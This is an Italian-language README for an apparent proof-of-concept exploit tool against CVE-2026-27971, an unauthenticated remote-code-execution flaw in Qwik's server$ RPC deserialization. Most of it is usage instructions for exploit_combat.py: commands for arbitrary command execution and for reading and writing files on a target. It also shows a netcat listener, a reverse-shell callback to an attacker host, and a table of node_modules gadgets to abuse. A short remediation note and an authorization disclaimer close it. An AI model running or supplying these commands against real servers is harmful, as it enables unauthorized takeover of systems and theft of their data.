
CVE-2026-27971 qwik rce
server$[!WARNING] Questo repository contiene una proof of concept attiva di esecuzione di codice in remoto. Usala solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per usi non autorizzati o danni.
Una proof of concept Python autonoma per CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, una vulnerabilità di esecuzione di codice in remoto non autenticata nel meccanismo di deserializzazione RPC server$ di Qwik.
Il PoC può eseguire una sonda attiva con marcatore, eseguire comandi, leggere o scrivere file di testo e richiedere una reverse shell su target Linux o Windows. Utilizza solo la libreria standard di Python.
| Campo | Valore |
|---|
| Prodotto | Qwik — pacchetto npm @builder.io/qwik |
| Versioni interessate | <= 1.19.0 |
| Versione corretta | 1.19.1 |
| Vulnerabilità | Esecuzione di codice in remoto non autenticata tramite deserializzazione non sicura di server$ |
| Condizione di runtime | require() deve essere disponibile in esecuzione |
| CWE | CWE-502 — Deserializzazione di dati non attendibili |
| Gravità | Critica — CVSS 4.0: 9.2 |
| Vettore | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Una richiesta application/qwik-json appositamente costruita può fare riferimento a un modulo lato server e a un simbolo esportato. Le versioni vulnerabili di Qwik possono risolvere una QRL non registrata tramite require() in esecuzione e invocarla senza autenticazione. Questo PoC tenta di raggiungere un export di esecuzione di processo compatibile già presente nella node_modules del target.
Operatore:
server$/Qwik JSON.Target:
@builder.io/qwik <= 1.19.0.require() è disponibile.node_modules.node disponibile nel PATH del processo del servizio.Non sono richiesti pacchetti Python di terze parti.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Elenca i gadget integrati senza inviare una richiesta:
python3 exploit_combat.py --list-gadgets
Esegui una sonda attiva con marcatore e prova ogni gadget integrato:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probenon è un rilevamento passivo della versione. Tenta l'esecuzione di codice in remoto e la conferma stampando un marcatore dal processo del target.
Esegui un comando:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Leggi un file di testo UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Scrivi e verifica un file di testo UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Richiedi una reverse shell dopo aver avviato un listener persistente:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Forza il payload della reverse shell Windows quando il rilevamento automatico del sistema operativo non è adatto:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
Lo script non avvia un listener. Il pre-controllo --callback apre e chiude una connessione TCP separata prima di inviare il payload della shell, quindi usa un listener in grado di accettare più di una connessione.
| Opzione | Descrizione |
|---|---|
-t URL, --target URL | URL esatto del target. Predefinito: http://localhost:3000. La route non viene scoperta automaticamente. |
--probe | Esegue attivamente un payload marcatore e tenta il rilevamento del sistema operativo. |
-c CMD, --CMD CMD | Esegue un comando tramite child_process.execSync() di Node.js. |
--read PATH | Legge un file di testo UTF-8 usando fs.readFileSync(). |
--write PATH --content TEXT | Scrive un file di testo, lo rilegge e confronta il risultato. Le directory padre non vengono create. |
--list-gadgets | Stampa i nomi dei gadget integrati ed esce senza una richiesta di rete. |
--lhost IP | Abilita la modalità reverse shell e imposta l'indirizzo di callback. |
--lport PORT | Imposta la porta di callback. Predefinita: 4444. |
--rev-all | Invia ogni variante di reverse shell invece di fermarsi dopo la prima richiesta HTTP accettata. |
--callback | Verifica la raggiungibilità TCP in uscita prima di inviare un payload di reverse shell. |
--OS {auto,linux,windows} | Seleziona la famiglia di payload della reverse shell. Predefinito: auto. |
--gadget SPEC | Usa auto, un nome integrato o un <module>#<symbol> personalizzato. Predefinito: cross-spawn.sync. |
--arg-style {argv,command,shell} | Stile degli argomenti per un gadget <module>#<symbol> personalizzato. |
--timeout SECONDS | Timeout HTTP lato client. Predefinito: 30. |
--verify-ssl | Abilita la verifica del certificato TLS e del nome host. La verifica è disabilitata per impostazione predefinita. |
Le modalità di azione non si escludono a vicenda nel parser. Usane una tra --probe, --CMD, --read, --write o --lhost per invocazione.
| Nome | Modulo ed export | Stile |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto testa questi gadget nell'ordine elencato. Un gadget personalizzato può essere fornito come segue:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync, non la scoperta automatica. Usa --gadget auto quando il layout delle dipendenze del target è sconosciuto.--read si aspetta UTF-8 e --write non è pensato per dati binari.--rev-all può avviare più processi o callback sul target. Usalo solo in un laboratorio isolato.Aggiorna @builder.io/qwik a 1.19.1 o versione successiva, aggiorna il lockfile, ricompila l'applicazione e ridistribuisci tutti gli artefatti del server. Rimuovere da solo un gadget compatibile non è una soluzione completa per la vulnerabilità sottostante di Qwik.
Questo progetto è fornito per ricerca sulla sicurezza, validazione difensiva e test autorizzati. Non usarlo contro sistemi senza permesso esplicito.